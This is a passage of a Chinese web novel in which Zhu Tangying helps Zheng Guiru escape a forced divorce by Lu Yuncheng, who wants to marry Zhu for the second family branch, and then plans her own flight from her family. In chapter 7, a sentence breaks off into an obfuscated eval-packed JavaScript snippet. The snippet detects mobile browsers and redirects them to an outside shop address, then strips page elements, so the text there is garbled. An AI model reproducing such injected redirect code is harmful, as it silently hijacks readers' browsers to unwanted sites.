要是只有郑桂如一个人怎么都好,可是郑桂如还有一个女儿,万事都得为女儿考虑。想让郑桂如离开陆家,总得给她安身立命的法子。不然就不是拉郑桂如跳出火坑了,而是跳出一个火坑,又进下一个火坑。 做这些的时候,祝棠英一直瞒着祝家人,包括六岁的幼妹,躲躲藏藏,生怕祝家人知道。 看祝家人什么样就知道了,李氏想要钱,祝父在乎名声更在乎银子。林氏对她是有两分真心,可是跟祝家一比,也不算什么。她现在就像一块肉,陆家想买,祝家想卖。 要是让他们知道她会做这个,到底是心疼女儿觉得女儿能立住,还是待价而沽,觉得她能卖更高的价钱,祝棠英不用脑袋都能想出来。 蜡烛做出来了,她现在有点担心郑桂如那边。情非得已,她也不想这样。 陆家人都回了家,回去的路上,陈氏拉着赵氏陆云程母子进僻静巷子说了会儿话,“云程,大嫂,你们得好好劝桂如,你们也瞧见了,棠英有心,可却不好松口。她年纪小,为自己打算也是正常的,毕竟云朝没了,让她嫁进来传出去不好听,可桂如不一样,她和云程感情深,又是好孩子,一定能体谅难处的。” 赵氏哼了一声道:“她这进门多年,就生下兰姐儿一个女儿,料她也不敢有什么意见。” 陆云程迟迟没有开口,他没有想过事情会变得这么复杂。原以为劝好祝棠英,再对郑桂如晓之以情,动之以理,这事就成了。可到如今,祝棠英非要先进门,那只能有俩法子,要么跟祝家的亲事就此作罢,要么劝郑桂如退一步。 两人感情向来不错,不然也不会只有一个女儿的情况下,陆云程多年不松口纳妾。 陆云程不禁想,若多几个孩子倒也好,把小的过继到二房,他舍得,可只有一个女儿,这法子根本行不通。 二叔和婶母没了孩子,若大房不出力,难道要把二人逼死吗? 在陆云程心里,无论郑桂如先进门还是后进门,他们二人的感情都是一样的,他对祝棠英只有愧疚可怜,没有别的心思,既然如此,郑桂如和他夫妻一体,何必在乎名分。 陆云程道:“二婶,我回去同桂如说说,却也没有万全把握。” 二房欠着大房人情,得让二房知道此事不易,再说,陆云程不敢保证能成事。 陈氏是懂人情世故的,她道:“尽力就好,你这傻孩子,哪能空着手回去,等着。” 说着,陈氏就拐出巷子,过了半刻钟多她回来了,手里提着几包点心,“桂如这些日子还劝我宽慰,她也辛苦,你把这东西带 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陆云程读书最废笔墨纸砚,这些东西也贵,若以大房的家底,供一个读书人还真供不起,幸好有二房。还没彻底定下,赵氏就见到好处了,真娶了祝棠英那还得了。 陈氏和陆二爷回了二房,赵氏陆云程三人回了长房。 赵氏看陆云程皱着眉,“不然我去说,怎么说我也是当婆婆的,她再不愿,也得知礼数。” 陆云程摇了摇头,“不了,还是我说吧。” 他其实摸不准郑桂如的心思,但万事好商量。 回到长房二人的卧房,陆云程见郑桂如在窗下绣花,他咳了一声,道:“我回来了,兰姐儿呢?” 郑桂如没抬头,“丫鬟带着出去玩儿了,我做点针线活,跟上回没卖的攒一攒,找一日给卖了去。” 陆云程:“别总做这些,伤眼睛。” 郑桂如:“无妨,从前便总做,今儿我还想起以前家里不大的时候,我们就一间屋子,你温书,我在旁边绣花。” 那时地方小,郑桂如不忍打扰陆云程,一点动静都不发出来。有一次刺破了手,忍着没叫,当晚陆云程见了,心疼地把她手指含到嘴里,说……以后日子好了,必不叫她受苦。 从前日子是苦,可有盼头,如今郑桂如觉都睡不踏实。 听郑桂如说从前的事,陆云程神色有些恍惚,他不知该如何开口,让自己的发妻先与自己和离,等自己娶了别人之后再娶她。 陆云程脑中闪过许多事,陆家二房,死去的陆云朝,他和郑桂如,以及他母亲的嘱托。 最后,他把门关上,“桂如,我有些话想同你说。” 郑桂如放下绣棚,心道,总算来了,“你说吧。” 陆云程道:“云朝出事,二叔二婶就跟丢了命一样,二房后继无人,还耽搁了祝姑娘的婚事……所以长辈们就想了个法子,让我娶了祝姑娘,留下一儿半女,就当给二房延续香火。不过你大可放心,在我心中,你才是我的妻子,兰姐儿才是我的女儿。” 郑桂如的声音微微发抖,“还有吗?” 陆云程眼中划过一丝心痛,接着道,“我知委屈你了,但祝姑娘那边实在难以松口,她想先进门。” 5. 第五章 对不住 郑桂如无助道:“那便让我后进门做小吗?如今尚且这样,日后她真有了孩子,你让兰姐儿如何自处?” 这些事在郑桂如心底积压数日,今天终于说出来了。 说着说着,郑桂如眼眶就红了。她原以为自己不会再哭了,这几日已经把事情想透彻了,可是一和陆云程说话她就忍不住。 鼻子酸得紧,胸口也阵阵难受,郑桂如抹了把眼睛,道:“你说在你心中只有我是你妻子,兰姐儿是你女儿,可是,受委屈的却是我和兰姐儿。” 陆云程坐到郑桂如身边,给她擦眼泪,“桂如,是平妻,况且我也有苦衷。” 郑桂如拂掉他的手,“都有苦衷,祝姑娘不愿受委屈,二叔和婶母没了儿子可怜,你是长房长孙,担子都压在你肩上,你们都不得已,只有我……” 陆云程心里涩痛,他道:“桂如,不全是如此。我这么做的确是为了二房为了陆家,可这事做成并非没有对长房的好处。现在二房后继无人,若我站出来,二叔叔母感恩于我,日后便不用你绣花那么辛苦了。” “我功课在高平县是不错,但再想考,后头还不知要投入多少银子。爹娘年迈,我又要顾着读书,万事只能辛苦你。外人看,陆家住着大宅院,可你也知晓这间宅院是二房出银子多。后面进京赶考要盘缠,买书请先生要银子,笔墨纸砚更是花销,桂如……” 郑桂如侧对着陆云程,陆云程叹了口气,“罢了,若你实在不愿,我去和二叔二婶说,再想别的法子。” “想什么法子!”赵氏推门进来,指着郑桂如的鼻子道,“郑桂如,你糊涂啊,你真是丧门星,怎么就见不得云程好呢!” 赵氏道:“陆家如今出了事,你就顾着那点子儿女私情,可你也不想想,这么多年你就生了兰姐儿一个,搁别人家早就休了,还像现在这样好言好语跟你商量?跟你商量是给你面子,你可倒好,半点不知感恩,敬酒不吃吃罚酒,还在这为难起云程来!” “两边都是平妻,你有何不愿意的?人家祝姑娘年纪轻轻,清清白白的女儿都愿意,你呢,小家子气。”赵氏对陆云程道,“云程,莫要理她,再不愿一纸休书,我看她能上哪儿去。” 谁都知道,郑桂如嫁来后不久娘家就没人了,她一个女子能去哪儿? 陆云程无奈扶额,“娘,你就别在这儿添乱了,说这些作甚,桂如是我娘子,她只会在陆家。便是和离也不离家,否则我不会答应……” 赵氏一肚子气,她道:“成成成,就我是坏人,好似我会害了你。” 赵氏走了,陆云程定定地看着郑桂如,半响他道:“你不愿我们就不做了,我们好好的。我先去温书,你莫要哭了,要是兰姐儿看了,该伤心了。” 陆云程走了,屋里就剩郑桂如一个人,若是以往,她肯定感动得不得了,觉得是自己没为陆云程考虑,对不住陆家,对不住陆云程,可如今婆婆指着她鼻子骂,陆云程虽为自己说话,却不似从前二人拌嘴时耐心哄着,只把她晾在这儿,二人这是一个唱白脸一个唱红脸。 陆家无她的立足之地,可外面更没有。 郑桂如眼泪止都止不住,她无力支撑,身上一阵阵冒着冷汗。想狠狠心如祝棠英说所说那样不要了,可说来简单,哪有那么容易。 她舍不得兰姐儿,若真离开陆家,她不带兰姐儿不放心,带着兰姐儿怎么活呢?至少在陆家,兰姐儿有父亲,家里还算富庶,比在外日子好过。 对郑桂如来说,如今更重要的是女儿。她坐了好半晌,门被敲了敲,丫鬟通禀道:“娘子,二娘子来了。” 郑桂如抹了把脸,简单拾掇拾掇自己才起身开门。此事因二房而起,可做晚辈的,该有的礼数还是要有,她看了眼陈氏,行礼道:“二婶儿。” 陈氏看着郑桂如幽幽叹了口气,“好孩子,委屈你了。” 郑桂如侧过身,请陈氏进来坐。桌上还摆着陈氏让陆云程带回来的点心,但没动,陈氏扫过一眼,拉着郑桂如坐下,“我们坐着说话。” 郑桂如依言坐下,对着陈氏,她不知该说什么。 陈氏开口道:“我过来不是劝你,只是让你想想这事值不值得,云朝走了,我们这只能求云程。陆家这么大,云程又要考试,这些日子为家里的事烦心奔波,担子都压在他一人肩上,我知你受委屈了,可你做娘子的,该体谅。 我也听过你婆母抱怨,说你们成婚多年就一个女儿。桂如,你想想,倘若云程日后考取功名入朝为官,你能保证他身边就你一人?既如此,何不早早为女儿打算。此事是他有愧于你,使使小性子多要些好处才是正理。你一日哭,他一日哄,你日日哭他还能日日哄?” 陈氏语重心长道:“云程读了这么多年书,你自然希望他高中,他为二房出力,日后二房必鼎力相助。日子哪有顺心顺意的,不都是这样吗?你看我,原以为顺心顺意,可天有不测风云…… 如果你答应让棠英先进门,云程自然记住你的好,我和你二叔也记你的好,你想给兰姐儿攒嫁妆,我能出力。千万别因为这些事伤了夫妻情分,你哭只会把人往外推,时间长了他厌烦了……有句话叫爱屋及乌恨屋及乌,他厌了你,到时你让兰姐儿怎么办?” 陈氏知道郑桂如最在乎女儿,也怪郑桂如不争气,若是有儿子,过继一个也未尝不可。 她拍拍郑桂如的手,“男人都有抱负,真耽误了功课落榜,你说他日后会不会怪你?” 陈氏刚才听赵氏说郑桂如不愿,她就想过来劝劝,赵氏说不用理,直接一纸休书,郑桂如除了陆家还能去哪儿? 话是这么说,可陈氏想让这事漂漂亮亮地办好,而不是被外面议论,说陆家办事不地道。若郑桂如主动相让,那是体贴良善,兄弟帮扶。若陆家逼郑桂如和离或是给她休了,传出去就不好听了。 郑桂如轻轻点了下头。 陈氏松了口气,“哎,这就对了,听人劝吃饱 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她想了一夜,只能想到这些。她也想一走了之,可留下女儿不放心,要是带走,她不敢保证把女儿养大成人。 其实陈氏说得不错,趁着夫妻间还有情分,让陆云程心怀愧疚,日后对自己和女儿更好才是正道。既不敢保证他这辈子就自己一个人,这时要死要活的拦着他,有什么用呢? 拦得住一个,拦得住两个三个吗? 郑桂如笑了笑,“无论如何还是要多谢你的,就是我自己不争气,让你看笑话了。” 若没有祝棠英,郑桂如这会儿应该已经答应了,还担惊受怕,对陆云程感恩戴德,现在虽然也要答应,但脑子清醒,她知道自己想要什么。 就是担心祝棠英没法收场。 郑桂如心中愧疚,她道:“实在对不住,棠英,如果日后有用得着我的地方,但说无妨,我绝无二话。时候不早了,我还得去布庄,先失陪了。” 祝棠英心里恼火,却不是恼火郑桂如烂泥扶不上墙,而是恼火陆家,这都把人逼成什么样了。 她道:“等等。” 祝棠英以前也看小说,有几本写有现代思想的女主问女配为何要拘泥后院,为何不看看更广阔的天地? 话一套一套的,具体她也记不清。 实际上并非她们不愿,有好日子谁不想过好日子。 祝棠英把蜡烛从袖袋里拿出来,给郑桂如看,“郑娘子,你看,这是我做的蜡烛,这四十文钱是卖两根蜡烛赚的。杂货铺一根蜡烛三十文,我卖过去一根二十文,亏是亏了点,但是也有的赚。我是不及陆家家底丰厚,但能赚钱,也能教你做,这个做熟了,我们可以做别的,想来不会饿到兰姐儿。” 陆家鱼和熊掌都想要,她偏要陆云程赔了夫人又折兵。 6. 第六章 休书 从茶楼出去,祝棠英看着街上来来往往的行人顿觉心情明媚,也不觉得秋日多寂寥了。 二人不能在里面待太久,所以只简单商量了一些事情。不住在一处不能常见面,后面怎么做,还得看郑桂如自己。 祝棠英回了祝家,一进家门,李氏就问她,“你这几天咋总出门,今儿陆家可来人找你了?” 祝棠英有闲心,乐意逗弄她几句,“没有,说不准人家反悔了。” 李氏拍大腿道:“唉,还不如早点答应,爹,这可如何是好?” 祝父却心有成算,“放心吧,我看这事能成。男子哪个不爱容色?郑娘子容貌平平,不及棠英生的好看,也不及棠英年轻,再说了,郑家没人,棠英有娘家,他怎会不知如何选。” 祝父觉得好事将近,她笑着对林氏道:“还多亏了你,将女儿生得这般明艳漂亮。” 祝家一众人,祝棠英生得最好,相貌美艳眼波流转自带风情。祝母也笑了,一家欢声笑语,倒显得感情和睦。 祝棠英在心里翻了个白眼,什么都想要,哪儿有那么便宜的事。而另一边,郑桂如去布庄把绣品卖了,得了五十文钱,钱她妥帖收好,这些就是她以后在外安身立命的本钱,祝棠英是能赚,可不能万事都靠祝棠英,非亲非故,郑桂如也不好意思。 就是以前顾着陆云程读书,没有攒下钱。郑桂如摇摇头,告诉自己不必后悔,从前陆云程对她也不错的,只是什么都会变。 到了陆家门口,郑桂如心中惴惴不安,但想起祝棠英的话,还是咬紧牙关进了门。 祝棠英在茶楼说,“先等。” 既然陆云程去了书房想要逼郑桂如低头,那就比谁更沉不住气,比谁着急。 先开口的就输了。 陆家怕祝棠英不愿意了婚事作罢,自然更急。这个时候,郑桂如只要耐心等着就是,该做什么做什么,陆云程想要达成自己的目的,会想办法弥补的。 郑桂如问:“若他们等不及把我休了……” 祝棠英:“放心,把你休了传出去不好听。同娶两人本就不是特别光彩的事,若闹出去对陆家名声不好,更对陆云程日后仕途有碍,他们不会这么做。” 郑桂如点点头,她庆幸现在有一个给她拿主意的人,她觉得很奇妙,跟她同床共枕六年的枕边人只想她退让,要她体谅,祝棠英却处处为她考虑。 亲人离世多年,郑桂如久违地感受到了家的温暖。 郑桂如回到屋里,一问丫鬟,陆云程还在书房。 晨起二人就没见面,郑桂如没过去,就耐心等着,一日陆云程都在书房读书。 夜里哄完兰姐儿,她也睡下,这么多天,终于睡了一个踏实觉。 次日一场秋雨,雨声霖铃,窗外雨珠打着芭蕉叶,兰姐儿没去外面玩,在屋里玩了一会儿待得烦闷,忍不住问她,“娘,爹怎么一直不回来?” 孩子还小,不过五岁,郑桂如在心里叹了口气,“你父亲要温书,莫去打扰他。” 今日陆云程也在温书,自那日后,夫妻二人就没说过话。郑桂如原以为自己会煎熬痛苦不知所措,可却能耐心等着,一日不离开,她就一日是妻子,陆云程想娶别人,那是不成的。 当晚,陆云程还是没回来,秋雨伴着惊雷落下,郑桂如给女儿唱着哄睡的曲子,外面声音错乱嘈杂,她莫名觉得心安。 这两日赵氏冷嘲热讽,郑桂如权当听不见,又是两日,第四日一早,陆云程就让丫鬟把铺盖搬了回来。 郑桂如不动声色,该做什么做什么,陆云程却面露难色,先开了口,“桂如。” 郑桂如看向陆云程,她想起在茶楼,祝棠英对她说,“先等,后面就是一个字,争。” 祝棠英对郑桂如道:“既然决定离开,那就得为以后打算,难不成离开陆家之后,你们母女去露宿街头?这自然是不成的。无论是哭诉,扮可怜,或是以退为进,这几个都不成还能威胁他,把东西拿到手里才是正道。” 祝棠英看郑桂如神色懵懂,便明说了,“无论大小,宅子必须得有,钱若是能拿最好拿些,别听他们说得要体谅,想着陆家,想想你自己。” 郑桂如轻轻点了下头,祝棠英知道她性子柔顺,能做到这一步已经很不错了,她道:“就怕他们小气舍不得给,先和离离开陆家再说。实在拿不了,退一步也不是不成,早点脱身,钱我们还能赚呢。” 和离是真,可在陆云程眼里郑桂如还会回来,给东西作甚,都是一家人,他要娶妻,还要读书,哪来的银子。 郑桂如看着陆云程,几日不见,陆云程神态疲惫,人似乎也瘦了。 她有些心疼,想想自己和祝棠英,深吸一口气把这份心疼压下去,问道:“你这几日落下的功课可补回来了?” 陆云程和郑桂如说去温书,心思却不在书上,他叹了口气,无奈道:“桂如,你还在生我的气。” 郑桂如道:“那你要我怎么办,要我高高兴兴地,然后为你操办喜事?” 陆云程没有开口,郑桂如不再看他。 陆云程长叹了口气,“桂如,只是一张和离书,拿去给祝家人看一眼,让他们放心,其他事还和原来一样,你就当没她这个人。” 郑桂如抿了抿唇,“怎么才能当没她这个人?这个人马上就要住进陆家,你要我怎么当没这个人,难道要我把眼睛戳瞎?” 陆云程一脸愧疚,郑桂如摇着头道:“不,我不和离,我不会和离的。” 陆云程:“我说了都和原来一样。” 郑桂如仰起头道:“可你也说过我若不愿,就告诉二叔和二婶再想别的办法,你可告诉了?” 陆云程按按眉心,他以为这几天郑桂如已经想通了,“桂如,为何就你不愿呢,你就不能为我考虑考虑,邻县赵家就是如此,日子好得很!” 郑桂如一愣,随即心底一惊,看了陆云程半响,她启唇道:“云程,我们不和离好不好,你想想这么多年的情分,你想想兰姐儿。我多生几个,日后过继到二房可好?” 郑桂如软声祈求,陆云程却无话可说,他自知对不住郑桂如,眼下只要她答应了和离的事,什么要求他都愿意答应。 可郑桂如不愿,她不要钱不要宅子,什么都不要,就连陆云程说让她把兰姐儿带走,她也不愿。 陆云程劝也劝了,好话都说尽了,郑桂如就是不松口,无法,只能找他母亲和陈氏商量,临走他撂下一句话,“你好好想想,何必闹成这样。” 陆云程出门了,秋风透着寒意,屋外一 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“是该给些银子,但云朝出事,货也没了,你知道棠英那边聘礼要多给一些,我这儿实在没钱,大嫂,不如你凑些,暂且够她们母女生活。都是一家人,来来回回不就是这些钱,对咱们来说如此,对桂如来说也是如此,你们夫妻俩好好商量,就说后面补,各自退一步。” 到时候还补什么,人回来了,银子宅子还是陆家的东西。 陆云程冷着脸道:“多谢二婶。” 陈氏道:“一家人,说什么谢不谢的,你再劝劝,她若答应和离最好。” 赵氏说什么都不乐意出钱,陆云程就自己拿了二两银子,连着房契一起拿给了郑桂如,“桂如,听话,我们和离吧,这宅子你先住着,钱不够再说,我再给你。” 郑桂如把东西拂开,“我什么都不要,我只要留在陆家。云程,你想想从前,是我做针线活供你读书……” 陆云程神色有些恼,“桂如,你再闹下去,就真的伤了我们夫妻间的情分了。” 郑桂如嘴唇动了动,祝棠英当日和她说后面要闹,“闹,将这事大肆宣扬出去,闹得越大越好,闹得天翻地覆,让陆云程骑虎难下,就算我进门他也不敢娶。陆家为了二房延续香火,让陆云程和你和离,想要娶我进门,丧事办完要办喜事,不是什么好人。祝家卖女赚钱,拿三倍聘礼,到时候祝家未见得非逼我嫁过去。 虽然先进门是我说的,到时候大可改口说当初是想看看陆云程会不会真的和离,结果连多年夫妻情分都不顾,算什么良人,我自然不愿意嫁过去。” 郑桂如现在觉得不妥,只和离不够,陆云程想兼祧两房,别人家这种事都打听清楚了,这事不止陆家有,外人未见得鄙夷,怕是还羡慕,恨自己不能这样。 只和离,郑桂如担心祝棠英没法脱身。 她闹着逼陆云程写下了休书,就是没拿到太多钱,就二两银子。 陆云程把休书给她,“我也是没办法,日后再接你们回来。” 祝棠英尚且不知这些,想来郑桂如那边差不多了,她心里畅快,书里说陆云程兼祧两房,最后传为一段佳话,她要看看,这还是不是佳话。 7. 第七章 婚期提前 这几日林氏和李氏在给祝棠英绣嫁衣,马上十月了,若陆云朝还在,祝家是想着明年开春再让祝棠英出嫁,可陆云朝没了,陆家着急,估计等不到那个时候了,嫁衣还未制好,得抓点儿紧。 亲事要紧,若真定在下个月,想想陆家送来了不少东西,又让祝棠英先进门,还有三倍聘礼……其他的事祝家能让步就让步。 林氏对祝棠英道:“估计很快就有消息了,若是真成了,你进门不能太跋扈。郑娘子是个和善人,不会同你计较的。云程是你夫君,莫要让他难做。偶尔使小性子新鲜,时间久了难免遭人厌烦。得听云程的话,别让他分心,还要孝敬你公婆,大房那边怎么说也是云程的亲生父母,也得孝敬。” 这些话祝棠英左耳朵进右耳朵出,想想后面没准儿给祝家闹个大的,这会儿她安安静静,什么也不说,什么也不反驳。 只不过林氏看女儿脸上丝毫不见高兴模样,心里不太好受。 林氏心道,以后就知道是为了她好了,她满意陆云程这个女婿,李氏就更满意了,聘礼家里留大半,嫁妆跟着比可不多,这些不都是她的。 一家都在等着陆家的消息,九月二十三陆家来人了,这距祝棠英和郑桂如见面已过去了五日。 陆家一众人都在,陈氏道:“那边已经答应了,这……你们看看。” 陆云程把休书拿给祝父,祝父看过,点了点头。 陈氏笑了笑,“就是云朝刚走,亲事就简单办吧。一来省些银子,二来也省着外面议论。不过亲家母放心,省下来的钱也是给棠英花。” 林氏点点头,赵氏又在旁接话,“放心,虽是简办,但该有的都有,三书六聘一个不差。婚期就在半月后,十月初九,他们俩八字已合过,是天作之合,这日子也请人算的,是个极不错的日子。” 三言两语间,亲事就被定了下了。 陈氏心里的石头终于落了地,就盼着祝棠英快点进门,早点生下一儿半女,陆云程好好读书,振兴陆家。 祝父面上带笑,“有劳你们了,棠英,还不谢过你伯母。” 祝棠英不放心,她道:“和离书给我看看。” 陈氏面色不变,使了个眼色,身侧的丫鬟把休书拿给她,祝棠英仔细辨认上面的字,一张白纸上繁体字和简体字交织,好在她查方子常看古籍,大部分字都认得。她先看的后面,名字是陆云程写下的,也有手印,为何没有郑桂如的名字,她又看前面,休书二字闯入她眼帘。 休书? 祝棠英心中一颤,她看向陆云程,“陆公子,你当真是看重这门亲事。郑娘子同你成婚六载,竟说休就休。我倒不知是该高兴陆公子愿意娶我,还是该唇亡齿寒,没准郑娘子的今日就是我的明日。” 众人脸色顿变,这话可不好听,祝棠英是在指责陆云程不顾情分。 林氏转头道:“棠英,你胡说什么呢?” 林氏笑着给陆家赔礼,“这孩子高兴糊涂了,就这么定了,我这教女无方,让你们看笑话了。” 陈氏几人也笑了,都道无妨,就是陆云程脸色铁青。 等陆家人走后,李氏率先开口道:“棠英,不是我说你,这会儿又说人家抛妻弃女,可这不是你提的要求吗?现在人答应了,你又不高兴了。” 祝父道:“女子该恭顺有礼,当着陆家人面,你说这些话让人难堪,人家费尽心力把事办好,你这不是挖人心窝子吗?” 祝棠英忧心郑桂如,语气不善:“我让干什么就干什么,我让他下跪磕头去死他也听我的?我是以退为进,谁知他们真答应了,跟了他多年的郑娘子说休就休,谁知道我嫁过去什么样。算了,跟你们说不清。” 林氏又为女儿担心起来,可事已至此,没有别的法子。过两日陆家肯定要来送聘礼,就这么着吧,等到以后又能等到什么好亲事呢? 祝棠英关门回屋,她脑子里还是那两个字,郑桂如还好吗,不是说和离就好,为何闹到休妻这地步,这会儿去找郑桂如不合适,事已至此只能往前看,如今更容易闹大。 和离和休妻,哪个严重不必多说。 等郑桂如从陆家搬走之后,把事情大肆宣扬出去,你一言我一语,一传十十传百,陆家祝家所做之事就能人尽皆知了。 依祝父的性子,知道后肯定大发雷霆,李氏再添油加醋,但好过嫁人受苦。 外面越乱越好,祝棠英想趁这个机会跑。 这几日她没闲着,买的十五斤乌桕子全都做成了蜡烛,本钱花了四十五文,总共做了三十支蜡烛,卖了六百文钱。 剩下没了果肉的乌桕籽留了一半装进罐子里,另一半炒过之后研磨出油,渣子滤出,也有用,她做了皂块。 草木灰中含碱,本来就是烧过的东西很干净,在缺东西的时候草木灰还能杀菌止血,碱性物体和油能产生皂化反应,杂货铺卖的是猪油做的,有股异味,这个闻着带淡香,不过这东西一块小,寻常百姓家也买,所以收价便宜,一块三文钱,祝棠英赚了三十文。 钱她要的银子,六钱多重,当地的汇率有点低,六百三十个铜板换六钱银子,还有十二个铜板。 铜钱放在袖袋了,小块碎银子贴身装着,这是日后赚钱做生意的本钱。她说了,要和郑桂如一起赚钱,不让她过苦日子,那头也不知道什么情况,她得攒一点。 至于陆家和祝家交恶,因为自己祝家受影响,祝棠英心中是有些愧疚,不过这也是祝家该得的。 人心不足蛇吞象,若非祝父和李氏想要更多,怎会把她嫁过去?既然如此,那也应当承担婚事做不成的后果,凡事不是只有好处,如果都是好处,那县城的姑娘不都抢着嫁给陆云程。 钱祝棠英贴身放着,她听着外面的声音,今日天气不太好,秋风阵阵风雨欲来。 陆云程回去的时候精神恍惚,他想自己是不是做错了。 陈氏看他这样子,道:“云程,棠英那丫头年轻,说话不知轻重,你担待一些。等事办完,就把桂如母女接回来。” 赵氏心想,祝棠英是个牙尖嘴利的,还好不住大房,就让陈氏管教去吧,“是,回去看看怎么操办,啥时候把聘礼送过去,以免夜长梦多。” 陆云程点了点头。 陈氏笑了笑,“好了,快回去,好温书,功课耽误不得。” 陆云程心中坚定起来,他点了点头,却注意到街边人看他的目光带着的异样。 陆云程并没有当回事,几人继续往陆家赶路。家中是有一辆马车,不过多留着做生意用,离祝家不远,今日就直接走过来了。 连续几个行人都在看他们,目光都带着敌意,好似看什么脏东西,陈氏也发觉了,她摸摸自己的脸,“今儿是怎么了,可是我脸上有脏东西?” 陆云程摇了摇头, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16921560|192569||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心里有种不好的预感。 几人顶着异样的目光回了陆家,府内小厮面露为难道:“大娘子,二娘子,少爷,外头不太好,早晨郑娘子带着兰姐儿离家,不少人看见了。外面有人议论陆家背信弃义,大公子为了二房的家产抛妻弃女。” 赵氏就跟被踩了尾巴似的,“胡说八道!” 陈氏没放在心上,“让他们说去,总得议论两天,还能管得住他们的嘴?日后还会接回来呢,桂如也是,怎么不帮着说说,还是心里有气呀。” 眼下亲事成了,马上祝棠英就进门,陆云程兼祧两房,陈氏是盼着他向着二房的。 陆云程觉得头疼,赵氏此时也不知说什么,“行了,你先去温书吧,这几日都少出门,等风头过了就是。” 今日天气不好,几人刚回来就开始落雨,陈氏原以为外面的风言风语如云雾散开说过就散,可却是如这雨势一般越下越大,愈传愈烈。 陆云程不出门,都能听见小厮打听来的议论声。 有男子义愤填膺:“抛妻弃女的人,我呸,郑娘子被赶出门,陆家大公子马上就再娶了。” 又有人说:“这也太着急了,前些日子才办了丧事,如今又要办喜事。祝家真是掉钱眼儿里去了,这等人也乐得嫁。” 有人说:“吃相太难看了。” “要我说郑娘子才可怜,好好的正妻当着,现在可好?要给别人挪地方。” 也有人为陆家说话,“你们别乱说,我听说是陆云程是顾念二房没人,所以要兼祧两房,走个过场而已,人家家事,咱们管啥?” “走个过场至于把人休了,郑娘子那日离开,眼睛哭得跟核桃似的!” “兼祧两房那是有大义,陆云程此番,就是个无情无义的小人!” “就这种人,还科举考试入朝为官呢,抛弃妻女人人喊打!” 陆云程不知为何发展成这样了,听小厮说郑桂如那日哭着离开,带着女儿背着东西从陆家出来,别人一问就哭。如今他娶祝棠英不是,不娶也不是。 城南,郑桂如安顿了下来。 左邻右舍很和善,帮了不小的忙,问她还走不走,郑桂如摇头说:“不走了,就在这儿。” 她看着这座宅院,三间房,中间那间可以做厨房,足够住,她和兰姐儿一间,另一间是给祝棠英留的,她现在唯一担心的就是祝棠英。 这几日流言愈传愈烈,祝棠英的名声也受影响,一日没消息,郑桂如就多担心一日。 兰姐儿不懂这些,常常问对着门外出神的郑桂如,“娘,你在看什么?” 郑桂如只看见了外面空荡荡的院子,她道:“在看有没有人来。” 郑桂如心中愧疚难安,祝棠英是为了她才说要先进门,若陆家把这事推到棠英头上可怎么办? 看着看着,门外传来敲门声,郑桂如稳住心神去开门,却是隔壁刘婶子,“给你送点菜。” 刘婶子觉得郑桂如是可怜人。 郑桂如道了谢,“婶子,我跟你打听个事,祝家那边什么样了?” 刘婶子:“你可别管祝家了,既然离开了,顾好自己。” 祝陆两家正处于水深火热之中,陆家和陆云程被骂,祝家逼人休妻也逃不掉。 祝棠英希望祝父畏惧流言蜚语,亲事就此作罢,可祝父带回来的话却是,“祝家二爷跟我商量,婚期提前。” 8. 第八章 逃跑 李氏放心了,抚掌道:“提前好,省着夜长梦多,外头那些人想说就让他们说去,还不是要嫉妒咱们家棠英嫁得好。” 李氏不以为耻反以为荣,眉开眼笑的,祝棠英瞥见她耳坠子换了,难怪这么高兴。 林氏却一脸愁绪,这本是喜事,但现在外面说什么的都有。谁家嫁女儿不想高高兴兴的,听外头议论纷纷,这是把祝家架在火上烤。 祝棠英看几人毫不把外面的事放在心上,道:“娘,陆云程如今能为了我抛弃郑娘子,你敢保证日后他不会为了别人抛弃我?你现在让我嫁过去,不是把我往火坑里推吗?” 林氏一脸欲言又止,祝父却道:“做爹娘的还能害了你,郑娘子六年就生一个女儿,被休不能全怪陆家。出嫁从夫,陆云程兼祧两房本是大义,郑娘子却死活不愿,敬酒不吃吃罚酒,那就不要怪别人不留情面,你也是,婚期在二十六,没两日了,赶紧准备准备嫁人吧。这几日就不要出门了,总往外跑像什么话,女儿家就要有女儿家的样子。” 李氏道:“爹,这两天我看着棠英,不让她出门乱跑了,好好学学规矩,别让陆家说我们教女无方。” 今日二十四,后日就要出嫁,祝棠英腾一下站起来,“我不嫁。” 祝父皱着眉,“你说什么?” 祝棠英道:“我说我不嫁!你当我不知道为何非让我嫁陆家,还不是因为陆家聘礼给得多。如今外头风言风语,陆家竟然想婚期提前,必然又给了别的好处,美其名曰为我好,你分明就是为了你自己。” “还有你,羡慕我嫁得好?”祝棠英又看向李氏,“这么羡慕,自己嫁过去得了,要嫁你嫁,我是不会嫁的。” 林氏一脸担忧,“棠英,你怎么能这么和你爹说话?“ 祝父气得吹胡子瞪眼,脖子都红了,“由不得你嫁不嫁,你不嫁,就是大逆不道,我打死你这个忤逆的不孝女。” 祝父找来一根粗长的柳枝,祝棠英又不傻,怎么可能傻站在那儿原地挨打,她转头往屋外跑,脑子里飞快地琢磨着,如今的境况,根本来不及筹谋,李氏要一直看着,她怎么跑,没准儿晚上就被绑着送去陆家。她打听过,这个时代取消了对流动人口的限制,允许自由迁徙。 现在不跑,到时候再想逃出来,可就晚了。 李氏想要拦,可是她身形宽胖,动作不如祝棠英利落。祝棠英往下一蹲,发丝扬起,轻而易举就躲过了她肥腻的手。 李氏差点一个趔趄,“哎!” 祝棠英提着裙子往外跑,祝父压根没想到祝棠英敢跑,看着林氏一脸担忧地站在原地,更是气不打一处来,“还愣着干什么,还不快把她抓回来!” 祝家人仓惶追了出来,祝棠英却已跑出去十几步,就在祝家院子门口。 屋外冷,被秋风一吹,她打了个激灵,脑子也活泛过来,她不能就这么跑了。 如果就这么跑了,被祝家人添油加醋一说,真就落了个忤逆不孝的罪名。这是高平县,日后还得抓回去成亲,再有先进门是她说的,祝家陆家会说是她的主意,一个人和一群人,别人肯定相信一个人的话。 她现在反悔不嫁,弄得两家鸡飞狗跳。 